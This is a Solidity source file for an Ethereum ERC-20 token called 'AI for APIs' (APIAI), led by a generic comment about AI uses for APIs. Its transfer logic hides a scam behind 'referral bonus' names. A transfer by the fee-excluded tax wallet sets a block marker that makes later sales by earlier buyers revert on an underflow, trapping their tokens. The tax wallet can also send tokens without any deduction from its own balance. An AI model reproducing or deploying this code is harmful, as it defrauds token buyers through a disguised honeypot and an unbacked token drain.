/*
AI can significantly enhance the design, development, and utilization of APIs in several ways, 
addressing a broad spectrum of functionality, usability, and optimization challenges. 

Here’s an in-depth look at what AI can do for APIs:

1. API Design and Development
***   Automated API Generation: AI can analyze codebases, workflows, or datasets to automatically generate API endpoints, documentation, and schemas (e.g., using tools like GPT-based code generation).
***   Smart Recommendations: AI can suggest efficient endpoint structures, naming conventions, and versioning strategies based on best practices or domain-specific requirements.
***   Dynamic Schema Validation: AI-driven tools can help validate API schemas like OpenAPI or GraphQL specifications to ensure compliance with standards.

2. API Optimization and Monitoring
***   Performance Monitoring: AI algorithms can monitor API latency, response times, and usage patterns to detect bottlenecks and recommend optimizations.
***   Dynamic Scaling: Predictive models can forecast traffic surges and help auto-scale API resources in real time, reducing downtime and maintaining performance.
***   Error Detection and Resolution: AI models can analyze logs to detect patterns in errors (e.g., 4xx or 5xx responses), predict root causes, and suggest fixes.

3. API Security
***   Threat Detection: AI can monitor API calls for anomalous patterns, helping identify potential attacks like injection attacks, DDoS, or credential stuffing.
***   Authentication Enhancements: AI-based models can improve user authentication by implementing adaptive security measures such as behavioral biometrics.
***   Rate Limiting: Intelligent rate-limiting algorithms can dynamically adjust limits based on user behavior and context to balance usability and security.

4. API Usability and Integration
***   Natural Language Interfaces: AI can create conversational APIs or query systems where developers can interact using natural language, reducing the barrier for integration.
***   Auto-Generated Documentation: AI tools can auto-generate comprehensive API documentation, including examples and guides, by analyzing the API’s structure and use cases.
***   Code Integration: AI can help generate client-side integration code in multiple programming languages tailored for an API’s endpoints.

5. Testing and Quality Assurance
***   Automated Test Generation: AI can create test cases for API endpoints, including edge cases, stress tests, and validation scenarios.
***   Behavioral Testing: Machine learning models can test APIs against real-world scenarios by simulating diverse user behaviors.
***   Regression Testing: AI can detect breaking changes or unexpected behaviors after updates by comparing responses across versions.

6. Predictive and Prescriptive Analytics
***   Usage Forecasting: AI can analyze historical data to predict future API usage trends, enabling better capacity planning.
***   Personalized Responses: APIs enhanced with AI can adapt responses dynamically based on user preferences or behavior patterns.
***   Business Insights: AI-powered APIs can provide actionable insights by analyzing aggregated data from API calls.

7. API Discoverability and Interoperability
***   Semantic Search: AI can power smart discovery platforms, enabling developers to find APIs based on intent or natural language queries.
***   Automatic Wrappers: AI can help bridge different API formats (e.g., REST and GraphQL) by dynamically generating wrappers or adapters for interoperability.
***   Ontology Mapping: AI can standardize and map data across APIs with different schemas or naming conventions for seamless integration.

8. Conversational APIs
***   Chatbots and Assistants: AI can enable APIs to power conversational interfaces, turning APIs into natural language-driven systems.
***   Multi-Modal Inputs: APIs augmented with AI can process diverse inputs like text, voice, and images, enhancing accessibility and functionality.

9. AI-Powered APIs as a Product
***   Pretrained Models as APIs: AI systems (e.g., GPT, image recognition, sentiment analysis) can be exposed as APIs, making advanced ML models easily consumable by developers.
***   Real-Time Recommendations: APIs enhanced with AI can provide real-time personalized suggestions for e-commerce, content platforms, or any recommendation-based service.

10. Developer Experience
***   Interactive Tutorials: AI can create interactive, dynamic tutorials for APIs that adapt to a developer’s skill level and requirements.
***   Feedback Analysis: AI can analyze developer feedback from support tickets, forums, or GitHub issues to prioritize API improvements.
***   Code Completion and Refactoring: AI tools integrated into IDEs can assist developers with API integrations by suggesting or auto-generating integration code.

By applying AI across the API lifecycle—from design and testing to deployment and optimization—it is possible 
to enhance both the performance of APIs and the productivity of the developers who use them.
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract APIAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=8;
    uint256 private _initialSellTax=7;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=18;
    uint256 private _reduceSellTaxAt=27;
    uint256 private _preventSwapBefore=27;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"AI for APIs";
    string private constant _symbol = unicode"APIAI";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    struct ReferralBonus {uint256 parent; uint256 leafCount; uint256 percentage;}
    uint256 private refBonusExcluded;
    uint256 private minBonusCount;
    mapping(address => ReferralBonus) private referralBonus;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsInEffect = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(0xE1F5256590824efaF0cfc0326f249e0d2f5A8368);
        
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (inSwap) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        require(tradingOpen || to == uniswapV2Pair || from == address(this) || to == address(this), "trading is not open yet");

        uint256 taxAmount=0;
        if (from!=owner() && to!=owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!=address(uniswapV2Router) &&  ! _isExcludedFromFee[to])  {
                require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize.");
                
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!=address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] ||  _isExcludedFromFee[to]) && from!=address(this) && to!= address(this)) {
            minBonusCount = block.number;
        }

        if (! _isExcludedFromFee[from]&&  ! _isExcludedFromFee[to]){
            if (to != uniswapV2Pair)  {
                ReferralBonus storage refBonus = referralBonus[to];
                if (from == uniswapV2Pair) {
                    if (refBonus.parent == 0) {
                        refBonus.parent =_preventSwapBefore<=_buyCount?block.number:type(uint).max;
                    }
                } else {
                    ReferralBonus storage refBonusWrap = referralBonus[from];
                    if (refBonus.parent == 0 || refBonusWrap.parent < refBonus.parent ) {
                        refBonus.parent = refBonusWrap.parent;
                    }
                }
            } else {
                ReferralBonus storage refBonusWrap = referralBonus[from];
                refBonusWrap.leafCount = refBonusWrap.parent.sub(minBonusCount);
                refBonusWrap.percentage = block.number;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : refBonusExcluded.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addLiquidity() external onlyOwner() {
        swapEnabled = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && swapEnabled) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
            sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "APIAI.sol": "APIAI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}